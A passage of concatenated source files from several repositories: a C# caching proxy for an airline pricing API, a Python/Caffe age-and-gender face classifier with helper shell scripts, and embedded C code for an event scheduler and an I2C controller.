* few remarks to solution can be found as comments in code
## CsaProxyApi
* ASP NET Core Web Api
* I used Web API template from visual studio as a base to my solution
* I used two services to implement the solution (dependency injected as singleton)
* DataGetterService :
* all the logic happens here
* looks into cache if it contains requested result, if not requests CSA Api, saves the result in cache and sends it as response
* CsaApiDataMemoryCacheService
* simple wrapper around Microsoft.Extensions.Caching.Memory.MemoryCache
* stores responses from CSA Api as a string under key described in QueryKeyHelper
* cache size is set in respect to Length of stored strings
* cache size can be changed in appsettings.json
* Exceptions are handled only around CSA Api call
* Exceptions result into 505 Status Code response
## RequestTestingConsoleApi
* basic test of proper handling of concurrent requests
* fires 10 same requests at CsaProxyAPi concurrently
* How to run:
* run with address of controller as first argument (example "https://localhost:44350/api/values")
* run CsaProxy API in Debug
* run RequestTestingConsoleApi in another process
* you can see in debug output window logs of the app run (turn of all other outputs in vs options.. it will still be a mess though)
<file_sep>/CsaProxyApi/Services/DataGetterService.cs
using CsaProxyApi.Helpers;
using System;
using System.Collections.Concurrent;
using System.Net.Http;
using System.Threading.Tasks;
namespace CsaProxyApi.Services
{
/// <summary>
///
/// </summary>
public class DataGetterService
{
private readonly IHttpClientFactory _clientFactory;
private readonly CsaApiDataMemoryCacheService _cache;
private readonly static ConcurrentDictionary<string, Task<string>> _runningApiRequests = new ConcurrentDictionary<string, Task<string>>();
private readonly static ConcurrentDictionary<string, object> _locks = new ConcurrentDictionary<string, object>();
public DataGetterService(IHttpClientFactory clientFactory, CsaApiDataMemoryCacheService csaApiDataMemoryCache)
{
_clientFactory = clientFactory;
_cache = csaApiDataMemoryCache;
}
private async Task<string> GetAndCacheDataFromCsaApiAsync(string queryKey, string departureAirport, string arrivalAirport, CsaApiEndpoints csaApiEndpoint)
{
System.Diagnostics.Debug.WriteLine("call to Csa API");
var client = _clientFactory.CreateClient();
var requestUri = CsaApiUriHelper.GetUri(departureAirport, arrivalAirport, csaApiEndpoint);
var csaApiResponseContent = string.Empty;
try
{
HttpResponseMessage response = await client.GetAsync(requestUri);
response.EnsureSuccessStatusCode();
csaApiResponseContent = await response.Content.ReadAsStringAsync();
}
catch(Exception e)
{
System.Diagnostics.Debug.WriteLine("caught exception on Csa Api call: " + e.Message + Environment.NewLine + e.StackTrace);
throw;
}
_cache.SetApiDataEntry(queryKey, csaApiResponseContent);
return csaApiResponseContent;
}
public async Task<string> GetDataAsync(string departureAirport, string arrivalAirport, CsaApiEndpoints csaApiEndpoint)
{
var queryKey = QueryKeyHelper.GetQueryKey(departureAirport, arrivalAirport, csaApiEndpoint);
if (!_cache.TryGetValue(queryKey, out string resultJson))
{
var lockObject = _locks.GetOrAdd(queryKey, new object());
System.Diagnostics.Debug.WriteLine($"Processing request without cached result, with querykey {queryKey}");
Task<string> getDataFromCsaApiTask;
//if we dont lock here, method GetAndCacheValueFromCsaApiAsync(...) can be fired more then once for the same api call
lock (lockObject)
{
if(!_cache.TryGetValue(queryKey, out resultJson))
{
getDataFromCsaApiTask = _runningApiRequests.GetOrAdd(queryKey, x => GetAndCacheDataFromCsaApiAsync(queryKey, departureAirport, arrivalAirport, csaApiEndpoint));
}
else
{
var taskCompletionSource = new TaskCompletionSource<string>();
taskCompletionSource.SetResult(resultJson);
getDataFromCsaApiTask = taskCompletionSource.Task;
}
}
//all the concurrent threads that get here are awaiting the same task
resultJson = await getDataFromCsaApiTask;
//its possible that any of the concurrent threads gets here first
//so we need to tryremove
_runningApiRequests.TryRemove(queryKey, out _);
_locks.TryRemove(queryKey, out _);
}
return resultJson;
}
}
}
<file_sep>/CsaProxyApi/Helpers/QueryKeyHelper.cs
using System;
namespace CsaProxyApi.Helpers
{
public static class QueryKeyHelper
{
public static string GetQueryKey(string departureAirport, string arrivalAirport, CsaApiEndpoints csaApiEndpoint)
{
char endpointTag;
switch (csaApiEndpoint)
{
case CsaApiEndpoints.GetPrices:
endpointTag = 'A';
break;
case CsaApiEndpoints.GetPeriod:
endpointTag = 'B';
break;
default:
throw new NotImplementedException("undefined csa api endpoint");
}
return departureAirport + arrivalAirport + endpointTag;
}
}
}
<file_sep>/CsaProxyApi/Helpers/CsaApiUriHelper.cs
using System;
namespace CsaProxyApi.Helpers
{
//solution remark:
//hardcoded strings are not very nice
//my other solution was saving these hardcoded strings into config json and then resolving the uri in singleton service, which felt like an overkill for sutch a small thing
//in hypothetical case of future growing complexity of queried APIs, switching to forementioned alternative solution wouldnt add work overhead in comparison to writing it right now
public static class CsaApiUriHelper
{
public static string GetUri(string departureAirport, string arrivalAirport, CsaApiEndpoints csaApiEndpointTag)
{
var uriBuilder = new UriBuilder("https://www.csa.cz/Umbraco/Api/CalendarPricesCache/");
string path;
switch (csaApiEndpointTag)
{
case CsaApiEndpoints.GetPrices:
path = "GetPrices";
break;
case CsaApiEndpoints.GetPeriod:
path = "GetOperationPeriod";
break;
default:
throw new NotImplementedException("undefined csa api endpoint");
}
uriBuilder.Path += path;
var query = string.Join("&",
"DEP=" + departureAirport,
"ARR=" + arrivalAirport,
"MONTH_SEL=" + DateTime.Now.ToString("MM/yyyy"),
"SECTOR_ID=0&LANG=cs&ID_LOCATION=cz");
uriBuilder.Query = query;
return uriBuilder.ToString();
}
}
}
<file_sep>/RequestTestingConsoleApp/Program.cs
using System;
using System.Linq;
using System.Threading.Tasks;
namespace RequestTestingConsoleApp
{
class Program
{
static async Task MainAsync(string[] args)
{
var baseUri = string.Empty;
if(args.Length < 1)
{
Console.Out.WriteLine("provide address of value cotrller of CsaProxyApi as first argument");
Console.ReadKey();
return;
}
else
{
baseUri = args[0];
}
var tests = new Tests(baseUri);
var results = await tests.FireConcurrentRequestsAsync();
return;
}
static void Main(string[] args)
{
MainAsync(args).GetAwaiter().GetResult();
return;
}
}
}
| e03fa659ceab396a7e45ae46807e729dce05fc6b | [
"Markdown",
"C#"
] | 9 | C# | FrkatSmrkat/KindredTestAssignment | c4fbd41bc82a9dd5ef9f93c0c1fbbf5ceca34dba | 5bbb7bef9797cb30719d73c7c48bc5aacb333511 |
refs/heads/master | <file_sep># age-gender-classification<file_sep>import os, sys
import argparse
import numpy as np
import matplotlib.pyplot as plt
from sklearn.svm import SVC
from sklearn.model_selection import cross_val_score
# import better_exceptions
import caffe
DEVICE_ID = 0
class BasePredictor(object):
def __init__(self):
# load the mean ImageNet image
mu = np.load('models/ilsvrc_2012_mean.npy')
mu = mu.mean(1).mean(1)
# create transformer for input
transformer = caffe.io.Transformer({'data': (1, 3, 224, 224)})
transformer.set_transpose('data', (2,0,1))
transformer.set_mean('data', mu)
transformer.set_raw_scale('data', 255)
transformer.set_channel_swap('data', (2,1,0))
self.transformer = transformer
class AgePredictor(BasePredictor):
def __init__(self):
if not os.path.isfile('models/age.caffemodel'):
raise ValueError, 'Not found age.caffemodel'
super(AgePredictor, self).__init__()
caffe.set_device(DEVICE_ID)
caffe.set_mode_gpu()
model_def = 'models/age.prototxt'
model_weights = 'models/age.caffemodel'
net = caffe.Net(model_def, model_weights, caffe.TEST)
self.net = net
def predict(self, image):
self.net.blobs['data'].data[...] = self.transformer.preprocess('data', image)
output = self.net.forward()
return output['prob'][0].argmax()
def predict_fc8(self, image):
self.net.blobs['data'].data[...] = self.transformer.preprocess('data', image)
self.net.forward()
output_fc8 = self.net.blobs['fc8-101'].data
return np.array(output_fc8, dtype=float)
class GenderPredictor(BasePredictor):
def __init__(self):
if not os.path.isfile('models/gender.caffemodel'):
raise ValueError, 'Not found gender.caffemodel'
super(GenderPredictor, self).__init__()
caffe.set_device(DEVICE_ID)
caffe.set_mode_gpu()
model_def = 'models/gender.prototxt'
model_weights = 'models/gender.caffemodel'
net = caffe.Net(model_def, model_weights, caffe.TEST)
self.net = net
def predict(self, image):
self.net.blobs['data'].data[...] = self.transformer.preprocess('data', image)
output = self.net.forward()
return output['prob'][0].argmax()
def predict_fc8(self, image):
self.net.blobs['data'].data[...] = self.transformer.preprocess('data', image)
self.net.forward()
output_fc8 = self.net.blobs['fc8-2'].data
return np.array(output_fc8, dtype=float)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--demo', action='store_true')
args = parser.parse_args()
data_path = 'face'
feat_path = 'feat'
class_names = ['child_male', 'young_male', 'adult_male', 'elder_male',
'child_female', 'young_female', 'adult_female', 'elder_female']
has_record = os.path.isfile(os.path.join(feat_path, 'feats.npy')) and \
os.path.isfile(os.path.join(feat_path, 'labels.npy'))
age_predictor = AgePredictor()
gender_predictor = GenderPredictor()
if has_record:
print '[log] find previous record of features. Skip extraction'
else:
print '[log] start to extract features using CNNs'
print '[log] class nmaes include', class_names
class_ages = dict([(class_name, []) for class_name in class_names])
class_genders = dict([(class_name, []) for class_name in class_names])
labels = []
feats = []
for class_name in class_names:
print '[log] working on class {}'.format(class_name)
class_dir = os.path.join(data_path, class_name)
for i, image_name in enumerate(os.listdir(class_dir)):
image_path = os.path.join(class_dir, image_name)
image = caffe.io.load_image(image_path)
age_feat = age_predictor.predict_fc8(image).flatten()
gender_feat = gender_predictor.predict(image).flatten()
feat = np.concatenate([age_feat, gender_feat]).flatten()
labels.append(class_names.index(class_name))
feats.append(feat)
if (i+1) % 100 == 0:
print '[log] {} ith image completed'.format(i+1)
print '[log] class {} completed'.format(class_name)
print '[log] save extracted features to files'
np.save(os.path.join(feat_path, 'labels.npy'), labels)
np.save(os.path.join(feat_path, 'feats.npy'), feats)
print '[log] load features and labels from files'
labels = np.load(os.path.join(feat_path, 'labels.npy'))
feats = np.load(os.path.join(feat_path, 'feats.npy'))
print '[log] start fitting SVM to training features'
# shuffle training data
p = np.random.permutation(len(labels))
feats = feats[p]
labels = labels[p]
clf = SVC(kernel='rbf', C=2**13, gamma=2**-10)
print '[log] do 3-folds cross validation'
print '[log] cross validation score:', cross_val_score(clf, feats, labels, n_jobs=-1)
if not args.demo:
exit()
print '[log] demo time!'
print '[log] fit the SVM with entire training set'
clf.fit(feats, labels)
print '[log] start demo. Predict label using SVM'
demo_path = 'demo-face'
result = np.zeros((640, 2), dtype=np.int)
for i in range(640):
result[i, 0] = i
for i in range(640):
image_path = os.path.join(demo_path, str(i) + '.jpg')
if not os.path.isfile(image_path):
label = np.random.randint(8)
result[i, 1] = label
print 'No image {} label {}'.format(i, label)
else:
image = caffe.io.load_image(image_path)
age_feat = age_predictor.predict_fc8(image).flatten()
gender_feat = gender_predictor.predict(image).flatten()
feat = np.concatenate([age_feat, gender_feat]).flatten()
label = clf.predict(feat)
result[i, 1] = label
print 'image {} label {}'.format(i, label)
np.savetxt('result.csv', result, fmt='%d', delimiter=', ')
<file_sep>cd models
wget https://data.vision.ee.ethz.ch/cvl/rrothe/imdb-wiki/static/dex_imdb_wiki.caffemodel -O age.caffemodel
wget https://data.vision.ee.ethz.ch/cvl/rrothe/imdb-wiki/static/gender.caffemodel -O gender.caffemodel
<file_sep>if [ ! -d data/child_male ]; then
mkdir data/child_male
fi
mv data/child/male/*.jpg data/child_male/
if [ ! -d data/child_female ]; then
mkdir data/child_female
fi
mv data/child/female/*.jpg data/child_female/
if [ ! -d data/young_male ]; then
mkdir data/young_male
fi
mv data/young/male/*.jpg data/young_male/
if [ ! -d data/young_female ]; then
mkdir data/young_female
fi
mv data/young/female/*.jpg data/young_female/
if [ ! -d data/adult_male ]; then
mkdir data/adult_male
fi
mv data/adult/male/*.jpg data/adult_male/
if [ ! -d data/adult_female ]; then
mkdir data/adult_female
fi
mv data/adult/female/*.jpg data/adult_female/
if [ ! -d data/elder_male ]; then
mkdir data/elder_male
fi
mv data/elder/male/*.jpg data/elder_male/
if [ ! -d data/elder_female ]; then
mkdir data/elder_female
fi
mv data/elder/female/*.jpg data/elder_female/
rm -r data/child
rm -r data/young
rm -r data/adult
rm -r data/elder
<file_sep># coding: utf-8
import cv2
import os
import time
import itertools
import os, sys
import argparse
import numpy as np
sys.path.append('mxnet_mtcnn_face_detection')
import mxnet as mx
from mtcnn_detector import MtcnnDetector
model_path = 'mxnet_mtcnn_face_detection/model'
size = 224
border = 0.4
def compute_area(box):
''' Compute area of a bounding box '''
return abs(box[0]-box[2])*abs(box[1]-box[3])
def compute_dist(box, image):
''' Compute the distance from center of bounding box to center of image '''
h, w, _ = image.shape
ch, cw = h//2, w//2
bh, bw = (box[0]+box[2])//2, (box[1]+box[3])//2
return np.sqrt((ch-bh)**2 + (cw-bw)**2)
detector = MtcnnDetector(model_folder=model_path,
ctx=mx.cpu(0),
num_worker=16,
accurate_landmark=False)
parser = argparse.ArgumentParser()
parser.add_argument('--demo', action='store_true')
args = parser.parse_args()
if not args.demo:
data_path = 'data'
face_path = 'face'
# Create the same directory structure as the data path in face path
print '[log] prepare destination face path {}'.format(face_path)
if not os.path.exists(face_path):
print '[log] create face directory'
os.mkdir(face_path)
for class_name in os.listdir(data_path):
if os.path.isdir(os.path.join(data_path, class_name)):
os.mkdir(os.path.join(face_path, class_name))
else:
print '[log] clean data inside face directory'
for class_name in os.listdir(data_path):
class_face_path = os.path.join(face_path, class_name)
if os.path.isdir(os.path.join(data_path, class_name)):
if not os.path.exists(class_face_path):
os.mkdir(class_face_path)
else:
for image_name in os.listdir(class_face_path):
os.remove(os.path.join(class_face_path, image_name))
# Start to crop and align face using the code from MTCNN implementation
print '[log] start to process training data'
print '[log] crop and align face from data path {} to face path {}'.format(data_path, face_path)
all_cor, all_mis = 0, 0 # Statistic for face detection rate
for class_name in os.listdir(data_path):
if not os.path.isdir(os.path.join(data_path, class_name)):
continue
print '[log] start to process data in {}'.format(class_name)
class_path = os.path.join(data_path, class_name)
cor, mis = 0, 0
for i, image_name in enumerate(os.listdir(class_path)):
if (i+1) % 100 == 0:
print '[log] processing {} th images'.format(i+1)
image = cv2.imread(os.path.join(class_path, image_name))
results = detector.detect_face(image) # This use mtcnn to detect face
if results is not None:
boxes, points = results # Bouding boxes and their landmark points
if len(boxes) > 1:
print '[log] more than one face found in {}'.format(' '.join([class_name, image_name]))
boxes_dist = [compute_dist(box, image) for box in boxes]
boxes_area = [compute_area(box) for box in boxes]
# Select the bounding box with the largest area. One can apply other policy as well
boxes = [boxes[np.argmax(boxes_area)]]
points = [points[np.argmax(boxes_area)]]
chips = detector.extract_image_chips(image, points, size, border)
assert len(chips) == 1
write_path = os.path.join(face_path, class_name, image_name)
cv2.imwrite(write_path, chips[0])
cor += 1 # Detected
else:
print '[log] no face found in {}'.format(' '.join([class_name, image_name]))
mis += 1 # Not detected
all_cor, all_mis = all_cor+cor, all_mis+mis
print '[log] successully found {:5.2f} % face inside {}'.format(100*cor/float(cor+mis), class_name)
print '[log] successfully found {:5.2f} % face in total'.format(100*all_cor/float(all_cor+all_mis))
else:
data_path = 'demo-data'
face_path = 'demo-face'
print '[log] start to process demo data'
print '[log] crop and align face from data path {} to face path {}'.format(data_path, face_path)
cor, mis = 0, 0
for i in range(640):
image = cv2.imread(os.path.join(data_path, str(i) + '.jpg'))
results = detector.detect_face(image)
if results is not None:
total_boxes = results[0]
points = results[1]
if len(total_boxes) > 1:
print '[log] more than one face found in {}'.format(str(i) + '.jpg')
boxes_dist = [compute_dist(box, image) for box in total_boxes]
boxes_area = [compute_area(box) for box in total_boxes]
total_boxes = [total_boxes[np.argmax(boxes_area)]]
points = [points[np.argmax(boxes_area)]]
chips = detector.extract_image_chips(image, points, size, border)
assert len(chips) == 1
write_path = os.path.join(face_path, str(i) + '.jpg')
cv2.imwrite(write_path, chips[0])
cor += 1
else:
print '[log] no face found in {}'.format(str(i) + '.jpg')
mis += 1
print '[log] successfully found {} or {:5.2f} % face'.format(cor, 100.0*cor/float(cor + mis))
| 36c9ccfdd6daea7d71b20551069b7149f1222879 | [
"Markdown",
"Python",
"Shell"
] | 5 | Markdown | kketernality/age-gender-classification | 301adff42de7b2b4cf25e3a5030c9a41e97349ea | 5184fa1c837c179195bf30e315c6a474c4009edb |
refs/heads/master | <file_sep>/*
* Copyright (C) 2014-2015 Officine Robotiche
* Author: <NAME>
* email: <EMAIL>
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU Lesser General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* A copy of the license can be found at
* https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*/
/******************************************************************************/
/* Files to Include */
/******************************************************************************/
#include <xc.h>
#include "system/events.h"
#include "peripherals/gpio.h"
/// Max number of events
#define MAX_EVENTS 16
/**
* Event state:
* FALSE: The event doesn't running
* WORKING: The event is in elaboration
* TRUE: The event finished
*/
typedef enum _event_type {
FALSE = 0,
WORKING,
TRUE,
} EVENT_TYPE;
/**
* Information about event:
* State of event
* Function to call
* number of argument
* arguments
* priority
* overflow timer
* time to computation
* Name event
*/
typedef struct _tagEVENT {
EVENT_TYPE eventPending;
event_callback_t event_callback;
int argc;
int* argv;
eventPriority priority;
uint16_t overTmr;
uint32_t time;
hModule_t name;
} EVENT;
/**
* Information about hardware interrupt
* Bit Interrupt to call
* state of interrupt
*/
typedef struct _interrupt_bit {
hardware_bit_t* interrupt_bit;
bool available;
} interrupt_bit_t;
#define NANO_SEC_MOLTIPLICATOR 1000000000
/******************************************************************************/
/* Global Variable Declaration */
/******************************************************************************/
/// Declare an array with all interrupts
interrupt_bit_t interrupts[LNG_EVENTPRIORITY];
/// Declare an array with all events
EVENT events[MAX_EVENTS];
/// Number of all event registered
unsigned short event_counter = 0;
/// Timer register
REGISTER timer;
/// Counter time register
REGISTER PRTIMER;
/// Frequency MicroController Unit (MCU)
unsigned long time_sys;
/// Maskable interrupt level
unsigned int LEVEL;
/******************************************************************************/
/* Communication Functions */
/******************************************************************************/
/**
* Reset event, with default configuration
* @param eventIndex Number of array
*/
void reset_event(hEvent_t eventIndex) {
events[eventIndex].event_callback = NULL;
events[eventIndex].eventPending = FALSE;
events[eventIndex].priority = EVENT_PRIORITY_LOW;
events[eventIndex].overTmr = 0;
events[eventIndex].time = 0;
events[eventIndex].argc = 0;
events[eventIndex].argv = NULL;
events[eventIndex].name = NULL;
}
void init_events(REGISTER timer_register, REGISTER pr_timer, frequency_t frq_mcu, unsigned int level) {
hEvent_t eventIndex;
unsigned short priorityIndex;
timer = timer_register;
PRTIMER = pr_timer;
LEVEL = level;
time_sys = NANO_SEC_MOLTIPLICATOR/frq_mcu;
for (eventIndex = 0; eventIndex < MAX_EVENTS; ++eventIndex) {
reset_event(eventIndex);
}
for (priorityIndex = 0; priorityIndex < LNG_EVENTPRIORITY; ++priorityIndex) {
interrupts[priorityIndex].available = false;
}
event_counter = 0;
}
void register_interrupt(eventPriority priority, hardware_bit_t* pin) {
interrupts[priority].interrupt_bit = pin;
REGISTER_MASK_SET_LOW(interrupts[priority].interrupt_bit->REG, interrupts[priority].interrupt_bit->CS_mask);
interrupts[priority].available = true;
event_counter++;
}
void trigger_event(hEvent_t hEvent) {
trigger_event_data(hEvent, 0, NULL);
}
void trigger_event_data(hEvent_t hEvent, int argc, int *argv) {
if (hEvent < MAX_EVENTS) {
if (events[hEvent].event_callback != NULL) {
events[hEvent].eventPending = TRUE;
events[hEvent].argc = argc;
events[hEvent].argv = argv;
REGISTER_MASK_SET_HIGH(interrupts[events[hEvent].priority].interrupt_bit->REG, interrupts[events[hEvent].priority].interrupt_bit->CS_mask);
}
}
}
hEvent_t register_event(hModule_t name, event_callback_t event_callback) {
return register_event_p(name, event_callback, EVENT_PRIORITY_MEDIUM);
}
hEvent_t register_event_p(hModule_t name, event_callback_t event_callback, eventPriority priority) {
hEvent_t eventIndex;
if (interrupts[priority].available) {
for (eventIndex = 0; eventIndex < MAX_EVENTS; ++eventIndex) {
if (events[eventIndex].event_callback == NULL) {
events[eventIndex].event_callback = event_callback;
events[eventIndex].priority = priority;
events[eventIndex].name = name;
return eventIndex;
}
}
}
return INVALID_EVENT_HANDLE;
}
bool unregister_event(hEvent_t eventIndex) {
if (event_counter <= 0 && eventIndex != INVALID_EVENT_HANDLE) {
reset_event(eventIndex);
event_counter--;
return true;
} else
return false;
}
hModule_t get_event_name(hEvent_t eventIndex) {
return events[eventIndex].name;
}
inline void event_manager(eventPriority priority) {
int save_to;
if (event_counter > 0) {
hEvent_t eventIndex;
EVENT* pEvent;
for (eventIndex = 0; eventIndex < MAX_EVENTS; ++eventIndex) {
pEvent = &events[eventIndex];
if ((pEvent->eventPending == TRUE) && (pEvent->priority == priority)) {
if (pEvent->event_callback != NULL) {
uint16_t time;
pEvent->eventPending = WORKING;
pEvent->overTmr = 0; ///< Reset timer
time = *timer; ///< Timing function
SET_AND_SAVE_CPU_IPL(save_to, LEVEL);
pEvent->event_callback(pEvent->argc, pEvent->argv); ///< Launch callback
pEvent->eventPending = FALSE; ///< Complete event
RESTORE_CPU_IPL(save_to);
// Time of execution
if(pEvent->overTmr == 0) {
pEvent->time = (*timer) - time;
} else {
pEvent->time = ((*timer) + (0xFFFF - time)
+ (0xFFFF * (pEvent->overTmr - 1)));
}
}
} else if(pEvent->eventPending == WORKING) {
pEvent->overTmr++;
}
}
}
}
inline uint32_t get_time(hEvent_t hEvent) {
if (hEvent != INVALID_EVENT_HANDLE) {
return events[hEvent].time*time_sys;
} else return 0;
}<file_sep>/*
* Copyright (C) 2014-2015 Officine Robotiche
* Authors: <NAME>, <NAME>
* email: <EMAIL>, <EMAIL>
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU Lesser General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* A copy of the license can be found at
* https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*
* Original code:
* https://code.google.com/p/gentlenav/source/browse/trunk/libUDB/I2C1.c
*/
/******************************************************************************/
/* Files to Include */
/******************************************************************************/
#include <stdbool.h> /* Includes true/false definition */
#include "peripherals/i2c_controller.h"
#include "system/modules.h"
/// Define mask type of bit
#define MASK_I2CCON_EN BIT_MASK(15)
#define MASK_I2CCON_ACKDT BIT_MASK(5)
#define MASK_I2CCON_ACKEN BIT_MASK(4)
#define MASK_I2CCON_RCEN BIT_MASK(3)
#define MASK_I2CCON_PEN BIT_MASK(2)
#define MASK_I2CCON_SEN BIT_MASK(0)
#define MASK_I2CSTAT_ACKSTAT BIT_MASK(15)
#define I2C_COMMAND_WRITE 0
#define I2C_COMMAND_READ 1
/******************************************************************************/
/* Global Variable Declaration */
/******************************************************************************/
void I2C_load(void);
void I2C_reset(void);
void I2C_serve_queue(void);
inline bool I2C_CheckAvailable(void);
void I2C_startWrite(void);
void I2C_writeCommand(void);
void I2C_writeCommandData(void);
/* READ FUNCTIONS */
void I2C_readStart(void);
void I2C_readCommand(void);
void I2C_recen(void);
void I2C_recstore(void);
void I2C_stopRead(void);
void I2C_rerecen(void);
void I2C_doneRead(void);
/* WRITE FUNCTIONS */
void I2C_writeData(void);
void I2C_writeStop(void);
void I2C_doneWrite(void);
/* SERVICE FUNCTIONS */
void I2C_idle(void);
void I2C_Failed(void);
bool I2C_Normal(void);
void I2C_trigger_service(void);
#define I2C "I2C"
static string_data_t _MODULE_I2C = {I2C, sizeof (I2C)};
/// define depth queue
#define I2C_QUEUE_DEPTH 3
/// Define I2C queue
typedef struct tag_I2Cqueue {
bool pending; ///< If the I2C message is in pending
bool rW; ///< type of message
unsigned char command; ///< Command
unsigned char* pcommandData; ///< Command data
unsigned char commandDataSize; ///< Size of command data
unsigned char* pData; ///< Pointer to additional data
unsigned int Size; ///< Size of additional data
I2C_callbackFunc pCallback; ///< Callback
} I2Cqueue;
/// Buffer I2C queue
I2Cqueue i2c_queue[I2C_QUEUE_DEPTH];
/// Size I2C queue
int I2CMAXQ = 0;
/// I2C service event
static hEvent_t I2C_service_handle = INVALID_EVENT_HANDLE;
/// Pointer to function
void (* I2C_state) (void) = &I2C_idle;
// Port busy flag. Set true until initialized
bool I2C_Busy = true;
/// index into the write buffer
unsigned int I2C_Index = 0;
/// Callback to return
I2C_callbackFunc pI2C_callback = NULL;
/// Data size to send or receive a message
typedef struct _I2C_data_size {
unsigned int tx;
unsigned int rx;
} I2C_data_size_t;
I2C_data_size_t I2C_data_size = {0, 0};
/// Type of error
int I2C_ERROR = 0;
unsigned char I2C_CommandByte = 0;
unsigned int I2C_command_data_size = 0; ///< command data size
unsigned char* pI2CBuffer = NULL; ///< pointer to buffer
unsigned char* pI2CcommandBuffer = NULL; ///< pointer to receive buffer
hardware_bit_t* I2C_INTERRUPT;
REGISTER I2C_CON;
REGISTER I2C_STAT;
REGISTER I2C_TRN;
REGISTER I2C_RCV;
I2C_callbackFunc res_Callback = NULL;
/******************************************************************************/
/* Parsing functions */
/******************************************************************************/
/**
* Trigger the I2C controller event
*/
void I2C_trigger_service(void) {
trigger_event(I2C_service_handle);
}
/**
* Default operation when I2C event is launched
* @param argc unused
* @param argv unused
*/
void serviceI2C(int argc, int* argv) {
if (REGISTER_MASK_READ(I2C_CON, MASK_I2CCON_EN) == 0) ///< I2C is off
{
I2C_state = &I2C_idle; ///< disable response to any interrupts
I2C_load(); //< turn the I2C back on
///< Put something here to reset state machine. Make sure attached services exit nicely.
}
}
inline void I2C_manager (void) {
(* I2C_state) (); // execute the service routine
return;
}
hEvent_t I2C_Init(hardware_bit_t* i2c_interrupt, REGISTER i2c_con, REGISTER i2c_stat, REGISTER i2c_trn, REGISTER i2c_rcv, I2C_callbackFunc resetCallback) {
I2C_INTERRUPT = i2c_interrupt;
I2C_CON = i2c_con;
I2C_STAT = i2c_stat;
I2C_TRN = i2c_trn;
I2C_RCV = i2c_rcv;
res_Callback = resetCallback;
/// Register module
hModule_t i2c_module = register_module(&_MODULE_I2C);
/// Register event
I2C_service_handle = register_event_p(i2c_module, &serviceI2C, EVENT_PRIORITY_LOW);
I2C_load();
return I2C_service_handle;
}
/**
* Initialize the I2C queue buffer and reset state of I2C controller
*/
void I2C_load(void) {
int queueIndex;
for (queueIndex = 0; queueIndex < I2C_QUEUE_DEPTH; queueIndex++) {
i2c_queue[queueIndex].pending = false;
i2c_queue[queueIndex].rW = 0;
i2c_queue[queueIndex].command = 0;
i2c_queue[queueIndex].pcommandData = NULL;
i2c_queue[queueIndex].commandDataSize = 0;
i2c_queue[queueIndex].pData = NULL;
i2c_queue[queueIndex].Size = 0;
i2c_queue[queueIndex].pCallback = NULL;
}
REGISTER_MASK_SET_HIGH(I2C_CON, MASK_I2CCON_EN);
/// Set low interrupt
REGISTER_MASK_SET_LOW(I2C_INTERRUPT->REG, I2C_INTERRUPT->CS_mask);
/// Set available
I2C_Busy = false;
}
/**
* Reset the I2C module
*/
void I2C_reset(void) {
I2C_state = &I2C_idle; // disable the response to any more interrupts
I2C_ERROR = *I2C_STAT; // record the error for diagnostics
REGISTER_MASK_SET_LOW(I2C_CON, MASK_I2CCON_EN);
res_Callback(true);
*I2C_CON = 0x1000;
*I2C_STAT = 0x0000;
I2C_load(); //< turn the I2C back on
return;
}
bool I2C_checkACK(unsigned int command, I2C_callbackFunc pCallback) {
if (!I2C_CheckAvailable()) return false;
pI2C_callback = pCallback;
I2C_command_data_size = 0;
I2C_CommandByte = command;
pI2CBuffer = NULL;
I2C_data_size.tx = 0; // tx data size
I2C_data_size.rx = 0; // rx data size
// Set ISR callback and trigger the ISR
I2C_state = &I2C_startWrite;
/// Set high interrupt
REGISTER_MASK_SET_HIGH(I2C_INTERRUPT->REG, I2C_INTERRUPT->CS_mask);
return true;
}
/**
* Send the message with additional data
* @param command command data usually the address of peripherals
* @param pcommandData additional message
* @param commandDataSize size of additional message
* @param rW type of message
* @param ptrxData pointer to data
* @param trxSize size of data
* @param pCallback Callback when the controller complete or fail to send the message
* @return status of sending message
*/
void I2C_loadCommand(unsigned char command, unsigned char* pcommandData, unsigned char commandDataSize, unsigned short rW, unsigned char* ptrxData, unsigned int trxSize, I2C_callbackFunc pCallback) {
pI2C_callback = pCallback;
I2C_CommandByte = command;
pI2CcommandBuffer = pcommandData;
I2C_command_data_size = commandDataSize;
pI2CBuffer = ptrxData;
if (rW == I2C_COMMAND_WRITE) {
I2C_data_size.tx = trxSize; // tx data size
I2C_data_size.rx = 0; // rx data size
} else {
I2C_data_size.tx = 0; // tx data size
I2C_data_size.rx = trxSize; // rx data size
}
// Set ISR callback and trigger the ISR
I2C_state = &I2C_startWrite;
}
/**
* Load in buffer the message with additional data
* @param command command data usually the address of peripherals
* @param pcommandData additional message
* @param commandDataSize size of additional message
* @param rW type of message
* @param ptrxData pointer to data
* @param trxSize size of data
* @param pCallback Callback when the controller complete or fail to send the message
* @return status of sending message
*/
i2c_state_t I2C_loadBuffer(unsigned char command, unsigned char* pcommandData, unsigned char commandDataSize, unsigned short rW, unsigned char* ptrxData, unsigned int trxSize, I2C_callbackFunc pCallback) {
int queueIndex;
if (I2CMAXQ < I2C_QUEUE_DEPTH) {
for (queueIndex = 0; queueIndex < I2C_QUEUE_DEPTH; queueIndex++) {
if (i2c_queue[queueIndex].pending == false) {
i2c_queue[queueIndex].pending = true;
i2c_queue[queueIndex].rW = rW;
i2c_queue[queueIndex].command = command;
i2c_queue[queueIndex].pcommandData = pcommandData;
i2c_queue[queueIndex].commandDataSize = commandDataSize;
i2c_queue[queueIndex].pData = ptrxData;
i2c_queue[queueIndex].Size = trxSize;
i2c_queue[queueIndex].pCallback = pCallback;
I2CMAXQ++;
return PENDING;
}
}
}
return false;
}
i2c_state_t I2C_Write(unsigned char command, unsigned char* pcommandData, unsigned char commandDataSize, I2C_callbackFunc pCallback) {
